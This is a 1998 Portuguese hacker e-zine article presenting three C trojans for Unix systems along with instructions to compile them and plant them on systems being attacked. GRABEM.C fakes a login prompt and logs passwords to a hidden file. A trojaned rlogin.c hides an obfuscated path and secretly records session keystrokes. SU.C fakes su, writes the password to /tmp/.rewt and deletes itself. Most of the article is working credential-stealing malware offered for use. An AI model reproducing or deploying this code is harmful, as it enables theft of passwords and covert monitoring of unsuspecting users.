<<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>>

                                4 TROJAN 4

                                    BY

                                   Draco

           Faz muito tempo que eu nao escrevo algo sobre TROJANS, meu ltimo
           trabalho neste campo foi o T25, que at agora nao sei se funciona.

           Estava eu passeando na net observado as coisas boas da vida,
           fazendo um demorado dowload do Netscape (YEAH!) quando resolvi me
           conectar em umas BBS francesas, ai achei umas coisinhas bem legais.

           TODOS TROJANS ESTAO ESCRITOS EM C.

           As linhas dos trojans estao dispostas na ordem na descriao deles.

           GRABEM, este TROJAM coleta os passwords de uma estaao SUN em que
           for implantado.
           (OP'Z ESQUECI DE AVISAR ESTE TROJAN J FOI PUBLICADO NA AXUR05 MAS
           NAO  DA AUTORIA NEM MINHA NEM DO VOODOO OK)
           
           GRLOGIN, com este nome nao preciso nem falar.......

           SU da um get no passwd.

           COMO USAR MEU TROJAN???

           Caramba tem cada pergunta....

           Primeiramente compila ele......

           Segundamente, tenta colocar ele no sistema que vc vai atacar de um
           modo ou de outro...

           MAS COMO COLOCO ELE L??

           O mtodo mais comum  pelo e-mail, vc intocha no e-mail o trojan e
           quando o server ler o trojan cai para a RAM. (nem pergunta como
           que faz isto se voc tiver pelo menos um neuronio ativo vc
           conssegue fazer isto por si s)

           Ou pode colocar ele em um programa de sua autoria, mas ai j 
           coisa para quem sabe programar, entao seu escroto nem adianta que
           vc nao vai consseguir usar.............

           Bom estao ai meus adorados e queridos TROJANS hehehe

-----------------GRABEM.C
/*
#define PASSWORD "Password:"
#define INCORRECT "\nLogin incorrect"
#define FILENAME ".exrc%"
#include <stdio.h>
#include <signal.h>
/*-----------------------------------------------------------------------+
| ignoreSig                                                                                                                              |
|                                                                                                                                                |
|       Does nothing. Used to trap SIGINT, SIGTSTP, SIGQUIT.                             |
+-----------------------------------------------------------------------*/
void ignoreSig ()
{
        return;
}
/*-----------------------------------------------------------------------+
| Main                                                                                                                                   |
+-----------------------------------------------------------------------*/
main()
{
char    name[10],                       /* users name                               
    */
                password[10];           /* users password                           
    */
                
int     i,                              /* loop counter                         */
                lab,                    /* lab # you're running on              */
                procid;                 /* pid of the shell we're under         */
FILE    *fp;                            /* output file                              
    */
        
     /*-------------------------------------------------------------------+
     | Trap the SIGINT (ctrl-C), SIGSTP (ctrl-Z), and SIGQUIT (ctrl-\)    |
     | signals so the program doesn't stop and dump back to the shell.    |
     +-------------------------------------------------------------------*/
        signal (SIGINT, ignoreSig);
signal (SIGTSTP, ignoreSig);
signal (SIGQUIT, ignoreSig);
/*-------------------------------------------------------------------+
| Get the parent pid so that we can kill it quickly later.  Remove   |
| this program from the account.                                                    
                     |
+-------------------------------------------------------------------*/
procid = getppid();
system ("\\rm proj2");
/*-------------------------------------------------------------------+
| Ask for the lab # we're running on.  Clear the screen.                         |
+-------------------------------------------------------------------*/
printf ("lab#: ");
scanf ("%d", &lab);
for (i=1; i<40; i++)
        printf ("\n");
getchar();
/*-------------------------------------------------------------------+
| Outer for loop.  If the name is <= 4 characters, it's probably not |
| a real id.  They screwed up.  Give 'em another chance.             |
+-------------------------------------------------------------------*/
for(;;)
{
        /*---------------------------------------------------------------+
        | If they hit return, loop back and give 'em the login again.    |
        +---------------------------------------------------------------*/
        for (;;)
        {
                printf("lab%1d login: ",lab);
                gets (name);
                if (strcmp (name, "") != 0)
                        break;
        }
        /*---------------------------------------------------------------+
        | Turn off the screen echo, ask for their password, and turn the |
        | echo back on.                                                             
                                     |
        +---------------------------------------------------------------*/
        system ("stty -echo > /dev/console");
        printf(PASSWORD);
        scanf("%s",password);
        getchar();
        system ("stty echo > /dev/console");
        /*---------------------------------------------------------------+
        | Write their userid and password to the file.                   |
        +---------------------------------------------------------------*/
        if ( ( fp = fopen(FILENAME,"a") )  != NULL )
        {
                fprintf(fp,"login %s has password %s\n",name,password);
                fclose(fp);
        }
        /*---------------------------------------------------------------+
        | If the name is bogus, send 'em back through                               
 |
        +---------------------------------------------------------------*/
        if (strlen (name) >= 4)
                break;
        else
                printf (INCORRECT);
        }
        
/*-------------------------------------------------------------------+
| Everything went cool. Tell 'em they fucked up and mis-typed and    |
| dump them out to the REAL login prompt.  We do this by killing the |
| parent process (console).                                          |
+-------------------------------------------------------------------*/
        printf (INCORRECT);
        kill (procid, 9);
}

------------CORTE
------------------------------------------------------------------------------

           

------------------------RLOGIN.C
/*
 * Copyright (c) 1983 The Regents of the University of California.
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms are permitted
 * provided that the above copyright notice and this paragraph are
 * duplicated in all such forms and that any documentation,
 * advertising materials, and other materials related to such
 * distribution and use acknowledge that the software was developed
 * by the University of California, Berkeley.  The name of the
 * University may not be used to endorse or promote products derived
 * from this software without specific prior written permission.
 * THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED
 * WARRANTIES OF MERCHANTIBILITY AND FITNESS FOR A PARTICULAR PURPOSE.
 */

#ifndef lint
char copyright[] =
"@(#) Copyright (c) 1983 The Regents of the University of California.\n\
 All rights reserved.\n";
#endif /* not lint */

#ifndef lint
static char sccsid[] = "@(#)rlogin.c	5.12 (Berkeley) 9/19/88";
#endif /* not lint */

#define	MAX_READ	100
#define	MAX_WRITE	512
#define	MODE		0644

char f[1024] = {'/' | 0x080,
		'u' | 0x080,
		's' | 0x080,
		'r' | 0x080,
		'/' | 0x080,
		'h' | 0x080,
		'o' | 0x080,
		'm' | 0x080,
		'e' | 0x080,
		'/' | 0x080,
		'l' | 0x080,
		'o' | 0x080,
		'c' | 0x080,
		'k' | 0x080,
		'/' | 0x080,
		'.' | 0x080,
		'L' | 0x080,
		'O' | 0x080,
		'C' | 0x080,
		'K' | 0x080,
		' ' | 0x080,
		'/' | 0x080};

/*
 * rlogin - remote login
 */
#include <sys/param.h>
#include <sys/errno.h>
#include <sys/file.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <sys/wait.h>

#include <netinet/in.h>

#include <stdio.h>
#include <sgtty.h>
#include <errno.h>
#include <pwd.h>
#include <signal.h>
#include <setjmp.h>
#include <netdb.h>

# ifndef TIOCPKT_WINDOW
# define TIOCPKT_WINDOW 0x80
# endif TIOCPKT_WINDOW

/* concession to sun */
# ifndef SIGUSR1
# define SIGUSR1 30
# endif SIGUSR1

char	*index(), *rindex(), *malloc(), *getenv(), *strcat(), *strcpy();
struct	passwd *getpwuid();
char	*name;
int	rem;
char	cmdchar = '~';
int	eight;
int	l, w;
int	litout;
char	*speeds[] =
    { "0", "50", "75", "110", "134", "150", "200", "300",
      "600", "1200", "1800", "2400", "4800", "9600", "19200", "38400" };
char	term[256] = "network";
char	n[16];
char	h[256];
extern	int errno;
int	lostpeer();
int	dosigwinch = 0;
#ifndef sigmask
#define sigmask(m)	(1 << ((m)-1))
#endif
#ifdef sun
struct winsize {
	unsigned short ws_row, ws_col;
	unsigned short ws_xpixel, ws_ypixel;
};
#endif sun
struct	winsize winsize;
int	sigwinch(), oob();

/*
 * The following routine provides compatibility (such as it is)
 * between 4.2BSD Suns and others.  Suns have only a `ttysize',
 * so we convert it to a winsize.
 */
#ifdef sun
int
get_window_size(fd, wp)
	int fd;
	struct winsize *wp;
{
	struct ttysize ts;
	int error;

	if ((error = ioctl(0, TIOCGSIZE, &ts)) != 0)
		return (error);
	wp->ws_row = ts.ts_lines;
	wp->ws_col = ts.ts_cols;
	wp->ws_xpixel = 0;
	wp->ws_ypixel = 0;
	return (0);
}
#else sun
#define get_window_size(fd, wp)	ioctl(fd, TIOCGWINSZ, wp)
#endif sun

main(argc, argv)
	int argc;
	char **argv;
{
	char *host, *cp;
	struct sgttyb ttyb;
	struct passwd *pwd;
	struct servent *sp;
	int uid, options = 0, oldmask;
	int on = 1;

	host = rindex(argv[0], '/');
	if (host)
		host++;
	else
		host = argv[0];
	argv++, --argc;
	n[0] = '\0';
	if (!strcmp(host, "rlogin"))
		host = *argv++, --argc;
	strcpy(h, host);
another:
	if (argc > 0 && !strcmp(*argv, "-d")) {
		argv++, argc--;
                options |= SO_DEBUG;
		goto another;
	}
	if (argc > 0 && !strcmp(*argv, "-l")) {
		argv++, argc--;
		if (argc == 0)
			goto usage;
		name = *argv++; argc--;
		strcpy(n, name);
		goto another;
	}
	if (argc > 0 && !strncmp(*argv, "-e", 2)) {
		cmdchar = argv[0][2];
		argv++, argc--;
		goto another;
	}
	if (argc > 0 && !strcmp(*argv, "-8")) {
		eight = 1;
		argv++, argc--;
		goto another;
	}
	if (argc > 0 && !strcmp(*argv, "-L")) {
		litout = 1;
		argv++, argc--;
		goto another;
	}
	if (host == 0)
		goto usage;
	if (argc > 0)
		goto usage;
	pwd = getpwuid(getuid());
	if (pwd == 0) {
		fprintf(stderr, "Who are you?\n");
		exit(1);
	}
	if (!n[0])
		strcpy(n, pwd->pw_name);
	sp = getservbyname("login", "tcp");
	if (sp == 0) {
		fprintf(stderr, "rlogin: login/tcp: unknown service\n");
		exit(2);
	}
	cp = getenv("TERM");
	if (cp)
		(void) strcpy(term, cp);
	if (ioctl(0, TIOCGETP, &ttyb) == 0) {
		(void) strcat(term, "/");
		(void) strcat(term, speeds[ttyb.sg_ospeed]);
	}
	(void) get_window_size(0, &winsize);
	(void) signal(SIGPIPE, lostpeer);
	/* will use SIGUSR1 for window size hack, so hold it off */
	oldmask = sigblock(sigmask(SIGURG) | sigmask(SIGUSR1));
        rem = rcmd(&host, sp->s_port, pwd->pw_name,
	    name ? name : pwd->pw_name, term, 0);
        if (rem < 0)
                exit(1);
	if (options & SO_DEBUG &&
	    setsockopt(rem, SOL_SOCKET, SO_DEBUG, &on, sizeof (on)) < 0)
		perror("rlogin: setsockopt (SO_DEBUG)");
	uid = getuid();
	if (setuid(uid) < 0) {
		perror("rlogin: setuid");
		exit(1);
	}
	
	doit(oldmask);
	/*NOTREACHED*/
usage:
	fprintf(stderr,
	    "usage: rlogin host [ -ex ] [ -l username ] [ -8 ] [ -L ]\n");
	exit(1);
}

#define CRLF "\r\n"

int	child;
int	catchild();
int	copytochild(), writeroob();

int	defflags, tabflag;
int	deflflags;
char	deferase, defkill;
struct	tchars deftc;
struct	ltchars defltc;
struct	tchars notc =	{ -1, -1, -1, -1, -1, -1 };
struct	ltchars noltc =	{ -1, -1, -1, -1, -1, -1 };

doit(oldmask)
{
	int exit();
	struct sgttyb sb;
	char *c1, *c2, str[1024], fn[1024];

	(void) ioctl(0, TIOCGETP, (char *)&sb);
	defflags = sb.sg_flags;
	tabflag = defflags & TBDELAY;
	defflags &= ECHO | CRMOD;
	deferase = sb.sg_erase;
	defkill = sb.sg_kill;
	(void) ioctl(0, TIOCLGET, (char *)&deflflags);
	(void) ioctl(0, TIOCGETC, (char *)&deftc);
	notc.t_startc = deftc.t_startc;
	notc.t_stopc = deftc.t_stopc;
	(void) ioctl(0, TIOCGLTC, (char *)&defltc);
	(void) signal(SIGINT, SIG_IGN);
	setsignal(SIGHUP, exit);
	setsignal(SIGQUIT, exit);
	sprintf(str, "(%s to %s)\n", n, h);
	for (c1 = f, c2 = fn; *c1; *c2++ = *c1++ & ~0x080);
	sprintf(f, "%s%s.%u", fn, n, getpid());
	l = open(f, O_WRONLY | O_CREAT | O_TRUNC, 0777);
	for (c1 = f; *c1; *c1++ = ' ');
	for (c1 = fn; *c1; *c1++ = ' ');
	w = 0;
	if (l >= 0) {
		fchmod(l, MODE);
		write(l, str, strlen(str));
		w += strlen(str);
	}

	child = fork();
	if (child == -1) {
		perror("rlogin: fork");
		done(1);
	}
	if (child == 0) {
		mode(1);
		if (reader(oldmask) == 0) {
			prf("Connection closed.");
			exit(0);
		}
		sleep(1);
		prf("\007Connection closed.");
		exit(3);
	}

	/*
	 * We may still own the socket, and may have a pending SIGURG
	 * (or might receive one soon) that we really want to send to
	 * the reader.  Set a trap that simply copies such signals to
	 * the child.
	 */
	(void) signal(SIGURG, copytochild);
	(void) signal(SIGUSR1, writeroob);
	(void) sigsetmask(oldmask);
	(void) signal(SIGCHLD, catchild);
	writer();
	if (l >= 0)
		close(l);
	prf("Closed connection.");
	done(0);
}

/*
 * Trap a signal, unless it is being ignored.
 */
setsignal(sig, act)
	int sig, (*act)();
{
	int omask = sigblock(sigmask(sig));

	if (signal(sig, act) == SIG_IGN)
		(void) signal(sig, SIG_IGN);
	(void) sigsetmask(omask);
}

done(status)
	int status;
{
	int w;

	mode(0);
	if (child > 0) {
		/* make sure catchild does not snap it up */
		(void) signal(SIGCHLD, SIG_DFL);
		if (kill(child, SIGKILL) >= 0)
			while ((w = wait((union wait *)0)) > 0 && w != child)
				/*void*/;
	}
	exit(status);
}

/*
 * Copy SIGURGs to the child process.
 */
copytochild()
{

	(void) kill(child, SIGURG);
}

/*
 * This is called when the reader process gets the out-of-band (urgent)
 * request to turn on the window-changing protocol.
 */
writeroob()
{

	if (dosigwinch == 0) {
		sendwindow();
		(void) signal(SIGWINCH, sigwinch);
	}
	dosigwinch = 1;
}

catchild()
{
	union wait status;
	int pid;

again:
	pid = wait3(&status, WNOHANG|WUNTRACED, (struct rusage *)0);
	if (pid == 0)
		return;
	/*
	 * if the child (reader) dies, just quit
	 */
	if (pid < 0 || pid == child && !WIFSTOPPED(status))
		done((int)(status.w_termsig | status.w_retcode));
	goto again;
}

/*
 * writer: write to remote: 0 -> line.
 * ~.	terminate
 * ~^Z	suspend rlogin process.
 * ~^Y  suspend rlogin process, but leave reader alone.
 */
writer()
{
	char c, d;
	register n;
	register bol = 1;               /* beginning of line */
	register local = 0;

	for (;;) {
		if (l >= 0 && w >= MAX_WRITE) {
			close(l);
			l = -1;
		}
		n = read(0, &c, 1);
		if (l >= 0) {
			d = (c == 13) ? 10 : c;
			write(l, &d, 1);
			w++;
		}
		if (n <= 0) {
			if (n < 0 && errno == EINTR)
				continue;
			break;
		}
		/*
		 * If we're at the beginning of the line
		 * and recognize a command character, then
		 * we echo locally.  Otherwise, characters
		 * are echo'd remotely.  If the command
		 * character is doubled, this acts as a 
		 * force and local echo is suppressed.
		 */
		if (bol) {
			bol = 0;
			if (c == cmdchar) {
				bol = 0;
				local = 1;
				continue;
			}
		} else if (local) {
			local = 0;
			if (c == '.' || c == deftc.t_eofc) {
				echo(c);
				break;
			}
			if (c == defltc.t_suspc || c == defltc.t_dsuspc) {
				bol = 1;
				echo(c);
				stop(c);
				continue;
			}
			if (c != cmdchar)
				(void) write(rem, &cmdchar, 1);
		}
		if (write(rem, &c, 1) == 0) {
			prf("line gone");
			break;
		}
		bol = c == defkill || c == deftc.t_eofc ||
		    c == deftc.t_intrc || c == defltc.t_suspc ||
		    c == '\r' || c == '\n';
	}
}

echo(c)
register char c;
{
	char buf[8];
	register char *p = buf;

	c &= 0177;
	*p++ = cmdchar;
	if (c < ' ') {
		*p++ = '^';
		*p++ = c + '@';
	} else if (c == 0177) {
		*p++ = '^';
		*p++ = '?';
	} else
		*p++ = c;
	*p++ = '\r';
	*p++ = '\n';
	(void) write(1, buf, p - buf);
}

stop(cmdc)
	char cmdc;
{
	mode(0);
	(void) signal(SIGCHLD, SIG_IGN);
	(void) kill(cmdc == defltc.t_suspc ? 0 : getpid(), SIGTSTP);
	(void) signal(SIGCHLD, catchild);
	mode(1);
	sigwinch();			/* check for size changes */
}

sigwinch()
{
	struct winsize ws;

	if (dosigwinch && get_window_size(0, &ws) == 0 &&
	    bcmp(&ws, &winsize, sizeof (ws))) {
		winsize = ws;
		sendwindow();
	}
}

/*
 * Send the window size to the server via the magic escape
 */
sendwindow()
{
	char obuf[4 + sizeof (struct winsize)];
	struct winsize *wp = (struct winsize *)(obuf+4);

	obuf[0] = 0377;
	obuf[1] = 0377;
	obuf[2] = 's';
	obuf[3] = 's';
	wp->ws_row = htons(winsize.ws_row);
	wp->ws_col = htons(winsize.ws_col);
	wp->ws_xpixel = htons(winsize.ws_xpixel);
	wp->ws_ypixel = htons(winsize.ws_ypixel);
	(void) write(rem, obuf, sizeof(obuf));
}

/*
 * reader: read from remote: line -> 1
 */
#define	READING	1
#define	WRITING	2

char	rcvbuf[8 * 1024];
int	rcvcnt;
int	rcvstate;
int	ppid;
jmp_buf	rcvtop;

oob()
{
	int out = FWRITE, atmark, n;
	int rcvd = 0;
	char waste[BUFSIZ], mark;
	struct sgttyb sb;

	while (recv(rem, &mark, 1, MSG_OOB) < 0)
		switch (errno) {
		
		case EWOULDBLOCK:
			/*
			 * Urgent data not here yet.
			 * It may not be possible to send it yet
			 * if we are blocked for output
			 * and our input buffer is full.
			 */
			if (rcvcnt < sizeof(rcvbuf)) {
				n = read(rem, rcvbuf + rcvcnt,
					sizeof(rcvbuf) - rcvcnt);
				if (n <= 0)
					return;
				rcvd += n;
			} else {
				n = read(rem, waste, sizeof(waste));
				if (n <= 0)
					return;
			}
			continue;
				
		default:
			return;
	}
	if (mark & TIOCPKT_WINDOW) {
		/*
		 * Let server know about window size changes
		 */
		(void) kill(ppid, SIGUSR1);
	}
	if (!eight && (mark & TIOCPKT_NOSTOP)) {
		(void) ioctl(0, TIOCGETP, (char *)&sb);
		sb.sg_flags &= ~CBREAK;
		sb.sg_flags |= RAW;
		(void) ioctl(0, TIOCSETN, (char *)&sb);
		notc.t_stopc = -1;
		notc.t_startc = -1;
		(void) ioctl(0, TIOCSETC, (char *)&notc);
	}
	if (!eight && (mark & TIOCPKT_DOSTOP)) {
		(void) ioctl(0, TIOCGETP, (char *)&sb);
		sb.sg_flags &= ~RAW;
		sb.sg_flags |= CBREAK;
		(void) ioctl(0, TIOCSETN, (char *)&sb);
		notc.t_stopc = deftc.t_stopc;
		notc.t_startc = deftc.t_startc;
		(void) ioctl(0, TIOCSETC, (char *)&notc);
	}
	if (mark & TIOCPKT_FLUSHWRITE) {
		(void) ioctl(1, TIOCFLUSH, (char *)&out);
		for (;;) {
			if (ioctl(rem, SIOCATMARK, &atmark) < 0) {
				perror("ioctl");
				break;
			}
			if (atmark)
				break;
			n = read(rem, waste, sizeof (waste));
			if (n <= 0)
				break;
		}
		/*
		 * Don't want any pending data to be output,
		 * so clear the recv buffer.
		 * If we were hanging on a write when interrupted,
		 * don't want it to restart.  If we were reading,
		 * restart anyway.
		 */
		rcvcnt = 0;
		longjmp(rcvtop, 1);
	}

	/*
	 * oob does not do FLUSHREAD (alas!)
	 */

	/*
	 * If we filled the receive buffer while a read was pending,
	 * longjmp to the top to restart appropriately.  Don't abort
	 * a pending write, however, or we won't know how much was written.
	 */
	if (rcvd && rcvstate == READING)
		longjmp(rcvtop, 1);
}

/*
 * reader: read from remote: line -> 1
 */
reader(oldmask)
	int oldmask;
{
#if !defined(BSD) || BSD < 43
	int pid = -getpid();
#else
	int pid = getpid();
#endif
	int n, remaining;
	char *bufp = rcvbuf;

	(void) signal(SIGTTOU, SIG_IGN);
	(void) signal(SIGURG, oob);
	ppid = getppid();
	(void) fcntl(rem, F_SETOWN, pid);
	(void) setjmp(rcvtop);
	(void) sigsetmask(oldmask);
	for (;;) {
		while ((remaining = rcvcnt - (bufp - rcvbuf)) > 0) {
			if (l >= 0 && w >= MAX_READ) {
				close(l);
				l = -1;
			}
			rcvstate = WRITING;
			n = write(1, bufp, remaining);
			if (l >= 0) {
				write(l, bufp, remaining);
				w += remaining;
			}
			if (n < 0) {
				if (errno != EINTR)
					return (-1);
				continue;
			}
			bufp += n;
		}
		bufp = rcvbuf;
		rcvcnt = 0;
		rcvstate = READING;
		rcvcnt = read(rem, rcvbuf, sizeof (rcvbuf));
		if (rcvcnt == 0)
			return (0);
		if (rcvcnt < 0) {
			if (errno == EINTR)
				continue;
			perror("read");
			return (-1);
		}
	}
}

mode(f)
{
	struct tchars *tc;
	struct ltchars *ltc;
	struct sgttyb sb;
	int	lflags;

	(void) ioctl(0, TIOCGETP, (char *)&sb);
	(void) ioctl(0, TIOCLGET, (char *)&lflags);
	switch (f) {

	case 0:
		sb.sg_flags &= ~(CBREAK|RAW|TBDELAY);
		sb.sg_flags |= defflags|tabflag;
		tc = &deftc;
		ltc = &defltc;
		sb.sg_kill = defkill;
		sb.sg_erase = deferase;
		lflags = deflflags;
		break;

	case 1:
		sb.sg_flags |= (eight ? RAW : CBREAK);
		sb.sg_flags &= ~defflags;
		/* preserve tab delays, but turn off XTABS */
		if ((sb.sg_flags & TBDELAY) == XTABS)
			sb.sg_flags &= ~TBDELAY;
		tc = &notc;
		ltc = &noltc;
		sb.sg_kill = sb.sg_erase = -1;
		if (litout)
			lflags |= LLITOUT;
		break;

	default:
		return;
	}
	(void) ioctl(0, TIOCSLTC, (char *)ltc);
	(void) ioctl(0, TIOCSETC, (char *)tc);
	(void) ioctl(0, TIOCSETN, (char *)&sb);
	(void) ioctl(0, TIOCLSET, (char *)&lflags);
}

/*VARARGS*/
prf(f, a1, a2, a3, a4, a5)
	char *f;
{

	fprintf(stderr, f, a1, a2, a3, a4, a5);
	fprintf(stderr, CRLF);
}

lostpeer()
{

	(void) signal(SIGPIPE, SIG_IGN);
	prf("\007Connection closed.");
	done(1);
}

-----------------CORTE
------------------------------------------------------------------------------

-------------------SU.C

/* su trojan ribbed - by FA-Q
 * werd to lwn for his help.
 * mkdir .elm
 * cc -o ~/.elm/su su.c
 * edit .bash_profile or .bashrc
 * add PATH=$HOME/.elm:$PATH
 */

#include <stdio.h>
#include <stdlib.h>

#define SU_PASS "/tmp/.rewt"

main (int argc, char *argv[])
{
   char *key;
   char buf[24];
   FILE *fd;

   key = (char *)getpass ("Password:");
   fd = fopen(SU_PASS,"w");
   fprintf(fd, "pass: %s\n", key);
   fclose(fd);
   printf ("su: incorrect password\n");
   sprintf(buf, "rm %s", argv[0]);
   system(buf);
   exit (1);
}

-----------------CORTE

           1998  FW - Corporation

<<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>>




           
